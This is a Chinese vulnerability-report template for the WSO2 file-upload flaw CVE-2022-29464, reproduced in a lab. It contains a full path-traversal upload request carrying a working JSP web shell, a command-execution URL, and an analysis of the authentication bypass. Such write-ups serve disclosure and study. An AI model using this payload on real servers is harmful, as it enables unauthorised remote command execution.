附件二:漏洞详情提交文件模板
1.漏洞描述
CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是⼀种未经身份验证的⽆ 限制任意⽂件上传,允许未经身份验证的攻击者通过上传恶意 JSP ⽂件在 WSO2 服务器上获得RCE。
2.漏洞影响
这会影响到:
WSO2 API Manager 2.2.0 及更高版本到 4.0.0;
WSO2 Identity Server 5.2.0 及以上至 5.11.0;
WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;
WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0;
WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。
3.漏洞复现步骤
拉取vulfocus的环境
漏洞位置:/fileupload/toolsAny
上传1.jsp的恶意文件
POST 传包
增填报文信息
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
上传成功后访问https://123.58.236.76:22416/authenticationendpoint/1.jsp?cmd=ls
分析:
该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE
宜受攻击的上传路由是/fileupload由FileUploadServlet处理的。Indentity.xml正如在配置文件上一样,他是不受IAM保护的路由:
并且不受默认登录措施保护的。handleSecurity()是负责保护 WSO2 服务的不同路由的功能并提供一种对收到的 HTTP 请求执行安全检查的机制,handleSecurity()将调用CarbonUILoginUtil.handleLoginPageRequest()并根据其返回值决定允许或拒绝访问请求的 URI:
CarbonUILoginUtil.handleLoginPageRequest()当CarbonUILoginUtil.RETURN_TRUE路线为/fileupload:
使用CarbonUILoginUtil.handleLoginPageRequest()返回CarbonUILoginUtil.RETURN_TRUE,handleSecurity()将返回true,然后将授予访问权限而/fileupload无需身份验证。
首先要确保是一个多部分的poat请求,然后提取上传文件,在确定是否包含一个或多个文件,并根据文件大小进行验证。从返回后parseRequest(),executeGeneric()现在将调用被以下execute()方法覆盖的方法ToolsAnyFileUploadExecutor:
已知execute是很容易就受到目录遍历的方法,因为它没有转义tmp目录,并且信任用户上传的文件名。文件保存在:
版权归原作者 FODKING 所有, 如有侵权,请联系我们删除。